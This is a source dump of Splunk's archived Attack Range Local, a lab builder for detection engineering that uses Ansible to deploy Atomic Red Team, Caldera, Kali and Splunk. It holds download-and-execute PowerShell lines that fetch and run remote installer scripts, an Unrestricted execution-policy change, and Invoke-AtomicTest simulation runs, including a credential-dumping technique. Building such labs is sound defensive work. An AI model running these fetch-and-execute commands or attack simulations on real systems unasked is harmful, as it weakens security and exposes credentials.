├── .gitignore
├── LICENSE
├── README.md
├── ansible
├── ansible.cfg
├── atomic_red_team.yml
├── caldera_server.yml
├── kali_linux.yml
├── phantom_server.yml
├── roles
│ ├── atomic_red_team
│ │ ├── files
│ │ │ └── Install-AtomicRedTeam.ps1
│ │ └── tasks
│ │ │ ├── main.yml
│ │ │ ├── run_art_test.yml
│ │ │ └── run_specific_atomics.yml
│ ├── caldera
│ │ ├── files
│ │ │ ├── go-bin.sh
│ │ │ └── go-path.sh
│ │ ├── tasks
│ │ │ ├── caldera.yml
│ │ │ ├── daemonize.yml
│ │ │ ├── go.yml
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ ├── local.yml.j2
│ │ │ └── systemd-caldera.service.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── kali_linux
│ │ ├── files
│ │ │ ├── PsExec64.exe
│ │ │ ├── attack.service
│ │ │ ├── commands.rc
│ │ │ ├── meterpreter.rc
│ │ │ └── run_metasploit.py
│ │ └── tasks
│ │ │ ├── main.yml
│ │ │ └── setup.yml
│ ├── linux_common
│ │ ├── tasks
│ │ │ ├── disable-dnssec.yml
│ │ │ ├── main.yml
│ │ │ └── set-hostname.yml
│ │ └── templates
│ │ │ └── disable-dnssec.conf.j2
│ ├── phantom
│ │ ├── README.md
│ │ └── tasks
│ │ │ ├── configure_phantom.yml
│ │ │ ├── install_phantom.yml
│ │ │ └── main.yml
│ ├── search_head
│ │ ├── README.md
│ │ ├── files
│ │ │ ├── authorize.conf
│ │ │ ├── datamodels.conf
│ │ │ ├── hec_inputs.conf
│ │ │ ├── indexes.conf
│ │ │ ├── ingestion_setup.py
│ │ │ ├── inputs.conf
│ │ │ ├── limits.conf
│ │ │ ├── log_review.conf
│ │ │ ├── macros.conf
│ │ │ ├── outputs.conf
│ │ │ ├── proxy.conf
│ │ │ ├── proxy_setup.py
│ │ │ ├── savedsearches.conf
│ │ │ ├── savedsearches_DA-ESS-NetworkProtection.conf
│ │ │ ├── savedsearches_DA-ESS-ThreatIntelligence.conf
│ │ │ ├── savedsearches_SA-AccessProtection.conf
│ │ │ ├── savedsearches_SA-AuditAndDataProtection.conf
│ │ │ ├── savedsearches_SA-EndpointProtection.conf
│ │ │ ├── savedsearches_SA-NetworkProtection.conf
│ │ │ ├── savedsearches_SA-ThreatIntelligence.conf
│ │ │ ├── server.conf
│ │ │ ├── serverclass.conf
│ │ │ ├── user-prefs.conf
│ │ │ └── web.conf
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── configure_hec.yml
│ │ │ ├── configure_indexes.yml
│ │ │ ├── configure_inputs.yml
│ │ │ ├── configure_limits.yml
│ │ │ ├── configure_server_conf.yml
│ │ │ ├── configure_web_conf.yml
│ │ │ ├── create_serverclass.yml
│ │ │ ├── install_asx_app.yml
│ │ │ ├── install_attack_range_dashboard.yml
│ │ │ ├── install_aws_app.yml
│ │ │ ├── install_botsv1_dataset.yml
│ │ │ ├── install_botsv1a_dataset.yml
│ │ │ ├── install_botsv2_dataset.yml
│ │ │ ├── install_botsv2a_dataset.yml
│ │ │ ├── install_botsv3_dataset.yml
│ │ │ ├── install_cim_app.yml
│ │ │ ├── install_dsp.yml
│ │ │ ├── install_enterprise_security.yml
│ │ │ ├── install_escu_app.yml
│ │ │ ├── install_mc.yml
│ │ │ ├── install_mltk_app.yml
│ │ │ ├── install_sse_app.yml
│ │ │ ├── install_stream_app.yml
│ │ │ ├── install_sysmon_ta.yml
│ │ │ ├── install_windows_ta.yml
│ │ │ ├── main.yml
│ │ │ └── splunk.yml
│ │ └── templates
│ │ │ ├── aws_account_ext.conf.j2
│ │ │ ├── aws_cloudwatch_logs_tasks.conf.j2
│ │ │ ├── aws_inputs.conf.j2
│ │ │ ├── inputs.conf.j2
│ │ │ └── outputs.conf.j2
│ ├── splunk_phantom
│ │ ├── files
│ │ │ ├── authorize.conf
│ │ │ └── phantom.conf
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── add_phantom_role.yml
│ │ │ ├── install_phantom_app.yml
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── phantom.j2
│ ├── splunk_phantom_configure
│ │ ├── files
│ │ │ └── phantom.conf
│ │ └── tasks
│ │ │ ├── configure_phantom_app.yml
│ │ │ └── main.yml
│ ├── sysmon
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── tasks
│ │ │ ├── main.yml
│ │ │ ├── windows-logging-registry.yml
│ │ │ └── windows-sysmon.yml
│ │ └── templates
│ │ │ ├── AttackRangeSysmon.xml.j2
│ │ │ ├── SysmonConfig-Neo23x0-server.xml.j2
│ │ │ ├── SysmonConfig-Neo23x0-workstations.xml.j2
│ │ │ ├── SysmonConfig-TSwift.xml.j2
│ │ │ ├── SysmonConfig-TSwift2.xml.j2
│ │ │ ├── SysmonConfig-Verbose.xml.j2
│ │ │ ├── SysmonConfig-moti.xml.j2
│ │ │ ├── SysmonConfig.xml.j2
│ │ │ └── SysmonConfigCustom.xml.j2
│ ├── windows_caldera_agent
│ │ ├── tasks
│ │ │ ├── firewall.yml
│ │ │ ├── main.yml
│ │ │ ├── registry.yml
│ │ │ └── windows.yml
│ │ ├── templates
│ │ │ ├── caldera_agent.ps1.j2
│ │ │ ├── caldera_agent_nosplunk.ps1.j2
│ │ │ ├── caldera_manx_agent.ps1.j2
│ │ │ └── caldera_manx_agent_nosplunk.ps1.j2
│ │ └── vars
│ │ │ └── main.yml
│ ├── windows_common
│ │ └── tasks
│ │ │ ├── main.yml
│ │ │ ├── set-hostname.yml
│ │ │ ├── set-timezone.yml
│ │ │ ├── windows-disable-defender.yml
│ │ │ ├── windows-enable-4688-cmd-line-audit.yml
│ │ │ ├── windows-enable-ps-logging.yml
│ │ │ └── windows-security-configure-logging.yml
│ ├── windows_dns_server
│ │ └── tasks
│ │ │ ├── features.yml
│ │ │ ├── main.yaml
│ │ │ └── reboot.yml
│ ├── windows_domain_client
│ │ ├── files
│ │ │ └── join_domain.ps1
│ │ └── tasks
│ │ │ ├── copy_malicious_putty.yml
│ │ │ ├── create.yml
│ │ │ └── main.yaml
│ ├── windows_domain_controller
│ │ └── tasks
│ │ │ ├── create.yml
│ │ │ └── main.yaml
│ └── windows_universal_forwarder
│ │ ├── files
│ │ ├── atomic_red_team_execution_inputs.conf
│ │ ├── nxlog.conf
│ │ ├── nxlog_inputs.conf
│ │ ├── powershell_inputs.conf
│ │ ├── sysmon_inputs.conf
│ │ └── win_event_log_inputs.conf
│ │ ├── tasks
│ │ ├── collect_attack_simulation_logs.yml
│ │ ├── collect_nxlog_logs.yml
│ │ ├── collect_powershell_logs.yml
│ │ ├── collect_sysmon_logs.yml
│ │ ├── collect_windows_event_logs.yml
│ │ ├── configure_outputs.yml
│ │ ├── create_deploymentclient.yml
│ │ ├── install_nxlog.yml
│ │ ├── install_splunk_uf.yml
│ │ └── main.yml
│ │ └── templates
│ │ ├── deploymentclient.conf.j2
│ │ ├── inputs.conf.j2
│ │ └── outputs.conf.j2
├── splunk_server.yml
├── windows_dc.yml
├── windows_dc_client.yml
└── windows_workstation.yml
├── apps
└── .gitkeep
├── attack_data
├── .gitkeep
└── dumps.yml
├── attack_range_local.conf
├── attack_range_local.py
├── deploy_attack_range.sh
├── docs
├── CONTRIBUTING.md
└── attack_range_local_architecture.png
├── modules
├── CustomConfigParser.py
├── VagrantController.py
├── logger.py
└── splunk_sdk.py
├── requirements.txt
└── vagrant
├── caldera-server
└── Vagrantfile
├── kali-machine
└── Vagrantfile
├── phantom-server
└── Vagrantfile
├── splunk_server
└── Vagrantfile
├── windows-domain-controller
└── Vagrantfile
├── windows-server
└── Vagrantfile
└── windows10
└── Vagrantfile
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # ignore appbinaries directory we don't want this uploaded
3 | ansible/roles/*/files/splunk*.tgz
4 | ansible/roles/*/files/splunk*.msi
5 | ansible/vars/vars.yml
6 | *.idea
7 |
8 | # attack data folder
9 | attack_data/*
10 | !attack_data/.gitkeep
11 | !attack_data/dumps.yml
12 |
13 | # apps folder
14 | apps/*
15 | !apps/.gitkeep
16 |
17 | # log file
18 | attack_range.log
19 | .attack_range_local/artifacts
20 | artifacts
21 |
22 | ## Terraform ignores
23 | # Local .terraform directories
24 | terraform/.terraform/
25 |
26 | # .tfstate files
27 | *.tfstate
28 | *.tfstate.*
29 |
30 | # Crash log files
31 | crash.log
32 |
33 | # Kubeconfig files
34 | *kubeconfig*
35 |
36 | # Ignore any .tfvars files that are generated automatically for each Terraform run. Most
37 | # .tfvars files are managed as part of configuration and so should be included in
38 | # version control.
39 | #
40 | # example.tfvars
41 |
42 | # Ignore override files as they are usually used to override resources locally and so
43 | # are not checked in
44 | override.tf
45 | override.tf.json
46 | *_override.tf
47 | *_override.tf.json
48 |
49 | # Include override files you do wish to add to version control using negated pattern
50 | #
51 | # !example_override.tf
52 |
53 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan
54 | # example: *tfplan*
55 | #
56 |
57 | # dont want entire box files
58 | # # Vagrant stuff
59 | acceptance_config.yml
60 | boxes/*
61 | .vagrant
62 | /website/.vagrant
63 | /website/build
64 | /vagrant-spec.config.rb
65 | test/vagrant-spec/.vagrant/
66 | vagrant/Vagrantfile
67 |
68 | # packer cache
69 | packer/packer_cache
70 |
71 | # usual mac files
72 | .DS_Store
73 |
74 | # Byte-compiled / optimized / DLL files
75 | __pycache__/
76 | *.py[cod]
77 | *$py.class
78 |
79 | # C extensions
80 | *.so
81 |
82 | # Distribution / packaging
83 | .Python
84 | build/
85 | develop-eggs/
86 | dist/
87 | downloads/
88 | eggs/
89 | .eggs/
90 | lib/
91 | lib64/
92 | parts/
93 | sdist/
94 | var/
95 | wheels/
96 | *.egg-info/
97 | .installed.cfg
98 | *.egg
99 | MANIFEST
100 |
101 | # PyInstaller
102 | # Usually these files are written by a python script from a template
103 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
104 | *.manifest
105 |
106 | # Installer logs
107 | pip-log.txt
108 | pip-delete-this-directory.txt
109 |
110 | # Unit test / coverage reports
111 | htmlcov/
112 | .tox/
113 | .coverage
114 | .coverage.*
115 | .cache
116 | nosetests.xml
117 | coverage.xml
118 | *.cover
119 | .hypothesis/
120 | .pytest_cache/
121 |
122 | # Translations
123 | *.mo
124 | *.pot
125 |
126 | # Django stuff:
127 | *.log
128 | local_settings.py
129 | db.sqlite3
130 |
131 | # Flask stuff:
132 | instance/
133 | .webassets-cache
134 |
135 | # Scrapy stuff:
136 | .scrapy
137 |
138 | # Sphinx documentation
139 | docs/_build/
140 |
141 | # PyBuilder
142 | target/
143 |
144 | # Jupyter Notebook
145 | .ipynb_checkpoints
146 |
147 | # pyenv
148 | .python-version
149 |
150 | # celery beat schedule file
151 | celerybeat-schedule
152 |
153 | # SageMath parsed files
154 | *.sage.py
155 |
156 | # Environments
157 | .env
158 | .venv
159 | env/
160 | venv/
161 | ENV/
162 | env.bak/
163 | venv.bak/
164 |
165 | # Spyder project settings
166 | .spyderproject
167 | .spyproject
168 |
169 | # Rope project settings
170 | .ropeproject
171 |
172 | # mkdocs documentation
173 | /site
174 |
175 | # mypy
176 | .mypy_cache/
177 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Attack Range Local Has been Deprecated and Archived in Favor of https://github.com/splunk/attack_range
4 | Thank you to all of our users for their feedback, bug reports, and contributions to the project. As of May 8, 2023, Attack Range Local has been deprecated and archived.
5 |
6 | ## But I Still Want to Run a Local Attack Range!
7 | Great News! https://github.com/splunk/attack_range now supports deploying Attack Range Locally (just like this repo used to). It's a one-stop-shop for all of your simulation needs. That repo brings the functionality of Attack Range Local and Attack Range Cloud into the Attack Range Repo. It is actively maintained and in use by the Splunk Threat Research Team on a daily basis.
8 |
9 |
10 |
11 |
12 | # Splunk Attack Range Local (Do Not Use for New Projects)⚔️
13 | ## Purpose 🛡
14 | The Attack Range is a detection development platform, which solves three main challenges in detection engineering. First, the user is able to build quickly a small lab infrastructure as close as possible to a production environment. Second, the Attack Range performs attack simulation using different engines such as Atomic Red Team or Caldera in order to generate real attack data. Third, it integrates seamlessly into any Continuous Integration / Continuous Delivery (CI/CD) pipeline to automate the detection rule testing process.
15 |
16 | ## Building 👷♂️
17 |
18 | Attack Range can be built in three different ways:
19 |
20 | - **locally** with vagrant and virtualbox
21 | - **cloud** using terraform and AWS or Azure, see [attack_range](https://github.com/splunk/attack_range)
22 | - **cloud-only** see [attack_range_cloud](https://github.com/splunk/attack_range_cloud/)
23 |
24 | ## Installation 🏗
25 |
26 | ### [For Ubuntu 18.04](https://github.com/splunk/attack_range_local/wiki/Ubuntu-18.04-Installation)
27 |
28 | ### [For MacOS](https://github.com/splunk/attack_range_local/wiki/MacOS-Installation)
29 |
30 | ## Architecture 🏯
31 | 
32 |
33 | The virtualized deployment of Attack Range consists of:
34 |
35 | - Windows Domain Controller
36 | - Windows Server
37 | - Windows Workstation
38 | - A Kali Machine
39 | - Splunk Server
40 | - Phantom Server
41 | - Caldera Server
42 |
43 | Which can be added/removed/configured using [attack_range_local.conf](attack_range_local.conf). More machines such as Phantom, Linux server, Linux client, MacOS clients are currently under development.
44 |
45 |
46 | #### Logging
47 | The following log sources are collected from the machines:
48 |
49 | - Windows Event Logs (```index = win```)
50 | - Sysmon Logs (```index = win```)
51 | - Powershell Logs (```index = win```)
52 | - Network Logs with Splunk Stream (```index = main```)
53 | - Attack Simulation Logs from Atomic Red Team and Caldera (```index = attack```)
54 |
55 |
56 | ## Running 🏃♀️
57 | Attack Range supports different actions:
58 |
59 | - Build Attack Range
60 | - Perform Attack Simulation
61 | - Destroy Attack Range
62 | - Stop Attack Range
63 | - Resume Attack Range
64 | - Dump Attack Data
65 |
66 | ### Build Attack Range Local
67 | - Build Attack Range Local
68 | ```
69 | python attack_range_local.py -a build
70 | ```
71 |
72 | ### Perform Attack Simulation
73 | - Perform Attack Simulation
74 | ```
75 | python attack_range_local.py -a simulate -st T1003.001 -t attack-range-windows-domain-controller
76 | ```
77 |
78 | ### Show Attack Range Status
79 | - Show Attack Range Status
80 | ```
81 | python attack_range_local.py -lm
82 | ```
83 |
84 | ### Destroy Attack Range Local
85 | - Destroy Attack Range Local
86 | ```
87 | python attack_range_local.py -a destroy
88 | ```
89 |
90 | ### Stop Attack Range Local
91 | - Stop Attack Range Local
92 | ```
93 | python attack_range_local.py -a stop
94 | ```
95 |
96 | ### Resume Attack Range Local
97 | - Resume Attack Range Local
98 | ```
99 | python attack_range_local.py -a resume
100 | ```
101 |
102 | ## Dump Attack Data
103 | - Dump Attack Range Data
104 | ```
105 | python attack_range_local.py -a dump -dn dump_data_folder
106 | ```
107 |
108 | ## Features 💍
109 | - [Splunk Server](https://github.com/splunk/attack_range/wiki/Splunk-Server)
110 | * Indexing of Microsoft Event Logs, PowerShell Logs, Sysmon Logs, DNS Logs, ...
111 | * Preconfigured with multiple TAs for field extractions
112 | * Out of the box Splunk detections with Enterprise Security Content Update ([ESCU](https://splunkbase.splunk.com/app/3449/)) App
113 | * Preinstalled Machine Learning Toolkit ([MLTK](https://splunkbase.splunk.com/app/2890/))
114 | * Splunk UI available through port 8000 with user admin
115 | * ssh connection over configured ssh key
116 |
117 | - Bring Your Own Splunk Server
118 | * Send events to your own Splunk Server instance
119 | * Allows integration of automated attacks into your own detection engineering lifecycle
120 |
121 |
122 | - [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/)
123 | * [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/) is a premium security solution requiring a paid license.
124 | * Enable or disable [Splunk Enterprise Security](https://splunkbase.splunk.com/app/263/) in [attack_range_local.conf](attack_range_local.conf)
125 | * Purchase a license, download it and store it in the apps folder to use it.
126 |
127 | - [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html)
128 | * [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html) is a Security Orchestration and Automation platform
129 | * For a free development license (100 actions per day) register [here](https://my.phantom.us/login/?next=/)
130 | * Enable or disable [Splunk Phantom](https://www.splunk.com/en_us/software/splunk-security-orchestration-and-automation.html) in [attack_range_local.conf](attack_range_local.conf)
131 |
132 | - [Windows Domain Controller & Window Server & Windows 10 Client](https://github.com/splunk/attack_range/wiki/Windows-Infrastructure)
133 | * Can be enabled, disabled and configured over [attack_range_local.conf](attack_range_local.conf)
134 | * Collecting of Microsoft Event Logs, PowerShell Logs, Sysmon Logs, DNS Logs, ...
135 | * Sysmon log collection with customizable Sysmon configuration
136 | * RDP connection over port 3389 with user Administrator
137 |
138 | - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)
139 | * Attack Simulation with [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)
140 | * Will be automatically installed on target during first execution of simulate
141 | * Atomic Red Team already uses the new Mitre sub-techniques
142 |
143 | - [Caldera](https://github.com/mitre/caldera)
144 | * Adversary Emulation with [Caldera](https://github.com/mitre/caldera)
145 | * Installed on the Splunk Server and available over port 8888 with user admin
146 | * Preinstalled Caldera agents on windows machines
147 |
148 | - [Kali Linux](https://www.kali.org/)
149 | * Preconfigured Kali Linux machine for penetration testing
150 | * ssh connection over configured ssh key
151 |
152 |
153 | ## Support 📞
154 | Please use the [GitHub issue tracker](https://github.com/splunk/attack_range_local/issues) to submit bugs or request features.
155 |
156 | If you have questions or need support, you can:
157 |
158 | * Post a question to [Splunk Answers](http://answers.splunk.com)
159 | * Join the [#security-research](https://splunk-usergroups.slack.com/archives/C1S5BEF38) room in the [Splunk Slack channel](http://splunk-usergroups.slack.com)
160 | * If you are a Splunk Enterprise customer with a valid support entitlement contract and have a Splunk-related question, you can also open a support case on the https://www.splunk.com/ support portal
161 |
162 | ## Contributing 🥰
163 | We welcome feedback and contributions from the community! Please see our [contribution guidelines](docs/CONTRIBUTING.md) for more information on how to get involved.
164 |
165 | ## Author
166 | * [Jose Hernandez](https://twitter.com/d1vious)
167 | * [Patrick Bareiß](https://twitter.com/bareiss_patrick)
168 |
169 | ## Contributors
170 | * [Bhavin Patel](https://twitter.com/hackpsy)
171 | * [Rod Soto](https://twitter.com/rodsoto)
172 | * Russ Nolen
173 | * Phil Royer
174 | * [Joseph Zadeh](https://twitter.com/JosephZadeh)
175 | * Rico Valdez
176 | * [Dimitris Lambrou](https://twitter.com/etz69)
177 | * [Dave Herrald](https://twitter.com/daveherrald)
178 | * [Kai Seidenschnur](https://www.linkedin.com/in/kai-seidenschnur-ab42889a)
179 |
180 |
181 | ## License
182 |
183 | Copyright 2020 Splunk Inc.
184 |
185 | Licensed under the Apache License, Version 2.0 (the "License");
186 | you may not use this file except in compliance with the License.
187 | You may obtain a copy of the License at
188 |
189 | http://www.apache.org/licenses/LICENSE-2.0
190 |
191 | Unless required by applicable law or agreed to in writing, software
192 | distributed under the License is distributed on an "AS IS" BASIS,
193 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
194 | See the License for the specific language governing permissions and
195 | limitations under the License.
196 |
--------------------------------------------------------------------------------
/ansible/ansible.cfg:
--------------------------------------------------------------------------------
1 | [defaults]
2 | roles_path = roles
3 | retry_files_enabled = False # Do not create them
4 | deprecation_warnings=False
5 | ask_pass=False
6 |
--------------------------------------------------------------------------------
/ansible/atomic_red_team.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: False
3 | vars:
4 | ansible_connection: winrm
5 | ansible_port: 5986
6 | # ansible_winrm_transport: basic
7 | ansible_winrm_server_cert_validation: ignore
8 | # ansible_winrm_read_timeout_sec: 600
9 | roles:
10 | - atomic_red_team
11 |
--------------------------------------------------------------------------------
/ansible/caldera_server.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: False
3 | become: true
4 | vars:
5 | hostname: caldera-server
6 | roles:
7 | - linux_common
8 | - caldera
9 |
--------------------------------------------------------------------------------
/ansible/kali_linux.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: False
3 | become: true
4 | roles:
5 | - kali_linux
6 |
--------------------------------------------------------------------------------
/ansible/phantom_server.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: False
3 | become: true
4 | roles:
5 | - phantom
6 |
--------------------------------------------------------------------------------
/ansible/roles/atomic_red_team/files/Install-AtomicRedTeam.ps1:
--------------------------------------------------------------------------------
1 | #Requires -RunAsAdministrator
2 | [CmdletBinding()]
3 | Param(
4 | [Parameter(Mandatory=$False,Position=0)]
5 | [string]$InstallPath = 'C:\AtomicRedTeam',
6 |
7 | [Parameter(Mandatory=$False,Position=0)]
8 | [string]$DownloadPath = 'C:\AtomicRedTeam'
9 |
10 | )
11 |
12 | function Install-AtomicRedTeam {
13 | <#
14 | .SYNOPSIS
15 |
16 | This is a simple script to download and install Atomic Red Team Invoke-AtomicRedTeam Powershell Framework.
17 |
18 | Atomic Function: Install-AtomicRedTeam
19 | Author: Red Canary Research
20 | License: MIT License
21 | Required Dependencies: powershell-yaml
22 | Optional Dependencies: None
23 |
24 | .PARAMETER DownloadPath
25 |
26 | Specifies the desired path to download Atomic Red Team.
27 |
28 | .PARAMETER InstallPath
29 |
30 | Specifies the desired path for where to install Atomic Red Team.
31 |
32 | .EXAMPLE
33 |
34 | Install Atomic Red Team
35 | PS> Install-AtomicRedTeam.ps1
36 |
37 | .EXAMPLE
38 |
39 | Execute a single test
40 | $T1117 = Get-AtomicTechnique -Path ..\..\atomics\T1117\T1117.yaml
41 | Invoke-AtomicTest $T1117
42 |
43 | .EXAMPLE
44 |
45 | Informational Stream
46 | Invoke-AtomicTest $T1117 -InformationAction Continue
47 |
48 | .EXAMPLE
49 |
50 | Verbose Stream
51 | Invoke-AtomicTest $T1117 -Verbose
52 |
53 | .EXAMPLE
54 |
55 | Debug Stream
56 | Invoke-AtomicTest $T1117 -Debug
57 |
58 | .EXAMPLE
59 |
60 | What if
61 | If you would like to see what would happen without running the test
62 | Invoke-AtomicTest $T1117 -WhatIf
63 |
64 | .EXAMPLE
65 |
66 |
67 | To run all tests without confirming them run using the Confirm switch to false
68 |
69 | Invoke-AtomicTest $T1117 -Confirm:$false
70 | Or you can set your $ConfirmPreference to 'Medium'
71 |
72 | $ConfirmPreference = 'Medium'
73 | Invoke-AtomicTest $T1117
74 |
75 | .EXAMPLE
76 |
77 | Invoke-AllAtomicTests -GenerateOnly
78 |
79 | .NOTES
80 |
81 | Use the '-Verbose' option to print detailed information.
82 |
83 | #>
84 |
85 |
86 | write-verbose "Directory Creation"
87 |
88 | if(!(Test-Path -Path $InstallPath )){
89 | New-Item -ItemType directory -Path $InstallPath
90 | write-verbose "Setting Execution Policy to Unrestricted"
91 | set-executionpolicy Unrestricted
92 |
93 | write-verbose "Setting variables for remote URL and download Path"
94 | $url = "https://github.com/splunk/atomic-red-team/archive/master.zip"
95 | $path = "$DownloadPath\master.zip"
96 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
97 | $webClient = new-object System.Net.WebClient
98 | write-verbose "Beginning download from Github"
99 | $webClient.DownloadFile( $url, $path )
100 |
101 | write-verbose "Extracting ART to C:\AtomicRedTeam\"
102 | Expand-Archive -LiteralPath "$DownloadPath\master.zip" "C:\AtomicRedTeam"
103 |
104 | write-verbose "Installing NuGet PackageProvider"
105 | Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
106 |
107 | write-verbose "Installing powershell-yaml"
108 | Install-Module -Name powershell-yaml -Force
109 |
110 | write-verbose "Importing invoke-atomicRedTeam module"
111 | Import-Module "C:\AtomicRedTeam\atomic-red-team-master\execution-frameworks\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam.psm1"
112 |
113 | write-verbose "Changing current work directory Invoke-AtomicRedTeam"
114 | cd "C:\AtomicRedTeam\atomic-red-team-master\execution-frameworks\Invoke-AtomicRedTeam\Invoke-AtomicRedTeam\"
115 |
116 | write-verbose "Clearing screen"
117 | clear
118 |
119 | Write-Host "Installation of Invoke-AtomicRedTeam is complete" -Fore Yellow
120 |
121 | }
122 | else
123 | {
124 | Write-Verbose "Atomic Already exists at $InstallPath"
125 | exit
126 |
127 |
128 | }
129 | }
130 | Install-AtomicRedTeam
131 |
--------------------------------------------------------------------------------
/ansible/roles/atomic_red_team/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | # - name: Check we have installed Atomic Red Team
4 | # win_stat:
5 | # path: 'C:\AtomicRedTeam'
6 | # register: atr_folder
7 |
8 | - name: Enable strong dotnet crypto
9 | win_regedit:
10 | key: "{{ item }}"
11 | value: SchUseStrongCrypto
12 | datatype: dword
13 | data: 1
14 | with_items:
15 | - "HKLM:\\SOFTWARE\\Microsoft\\.NetFramework\\v4.0.30319"
16 | - "HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\.NetFramework\\v4.0.30319"
17 |
18 | - name: Check installed providers
19 | win_shell: Get-PackageProvider
20 | register: providers
21 | changed_when: false
22 |
23 | - name: Install NuGet Provider
24 | win_shell: |
25 | Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
26 | when: providers.stdout is not search("NuGet")
27 |
28 | - name: Install Atomic Red Team
29 | win_shell: |
30 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
31 | IEX (IWR https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1)
32 | Install-AtomicRedTeam -Force
33 | IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicsfolder.ps1' -UseBasicParsing)
34 | Install-AtomicsFolder -Force -RepoOwner "{{ art_repository }}" -Branch "{{ art_branch }}"
35 |
36 | - set_fact:
37 | techniques: "{{ art_run_techniques.split(',') }}"
38 |
39 | - include_tasks: "run_art_test.yml"
40 | with_items: "{{ techniques }}"
41 | when: run_specific_atomic_tests == "False"
42 |
43 | - include_tasks: "run_specific_atomics.yml"
44 | when: run_specific_atomic_tests == "True"
45 |
--------------------------------------------------------------------------------
/ansible/roles/atomic_red_team/tasks/run_art_test.yml:
--------------------------------------------------------------------------------
1 | - set_fact:
2 | technique: "{{ item }}"
3 |
4 | - debug:
5 | var: technique
6 |
7 | - name: Get requirements for Atomic Red Team Technique
8 | win_shell: |
9 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
10 | Invoke-AtomicTest "{{ technique }}" -GetPrereqs
11 | register: requirements
12 |
13 | # - debug:
14 | # var: requirements
15 |
16 | - name: Run specified Atomic Red Team Technique
17 | win_shell: |
18 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
19 | Invoke-AtomicTest "{{ technique }}" -Confirm:$false -TimeoutSeconds 300 -ExecutionLogPath C:\AtomicRedTeam\atc_execution.csv
20 | register: output
21 |
22 | # - debug:
23 | # var: output
24 |
25 | - name: Cleanup after execution
26 | win_shell: |
27 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
28 | Invoke-AtomicTest "{{ technique }}" -Cleanup
29 | register: cleanup
30 |
31 | # - debug:
32 | # var: cleanup
33 |
--------------------------------------------------------------------------------
/ansible/roles/atomic_red_team/tasks/run_specific_atomics.yml:
--------------------------------------------------------------------------------
1 | - set_fact:
2 | test: "{{ art_run_tests }}"
3 |
4 | - debug:
5 | var: art_run_techniques
6 |
7 | - debug:
8 | var: test
9 |
10 | - name: Get requirements for Atomic Red Team Technique
11 | win_shell: |
12 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
13 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -GetPrereqs
14 | register: requirements
15 |
16 | # - debug:
17 | # var: requirements
18 |
19 | - name: Run specified Atomic Red Team Technique
20 | win_shell: |
21 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
22 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -Confirm:$false -TimeoutSeconds 300 -ExecutionLogPath C:\AtomicRedTeam\atc_execution.csv
23 | register: output
24 |
25 | # - debug:
26 | # var: output
27 |
28 | - name: Cleanup after execution
29 | win_shell: |
30 | Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
31 | Invoke-AtomicTest "{{ art_run_techniques }}" -TestName "{{ test }}" -Cleanup
32 | register: cleanup
33 |
34 | # - debug:
35 | # var: cleanup
36 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/files/go-bin.sh:
--------------------------------------------------------------------------------
1 | export PATH=$PATH:/usr/local/go/bin
2 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/files/go-path.sh:
--------------------------------------------------------------------------------
1 | export GOPATH=$HOME/go
2 | export PATH=$GOPATH/bin:$PATH
3 |
--------------------------------------------------------------------------------
/ansible/roles/caldera/tasks/caldera.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: Ensure caldera dependencies are present
4 | apt:
5 | name: "{{ item }}"
6 | state: present
7 | update_cache: yes
8 | with_items: "{{ caldera_pkg }}"
9 | register: pkg_result
10 | until: pkg_result is success
11 |
12 | - name: ensure caldera user exists
13 | user:
14 | name: "{{ caldera_user }}"
15 | home: "{{ caldera_home }}"
16 | shell: /bin/bash
17 |
18 | - name: Ensure recent pip & setuptools in virtualenv
19 | pip:
20 | name: "{{ item }}"
21 | state: present
22 | virtualenv: "{{ caldera_home }}/env-caldera"
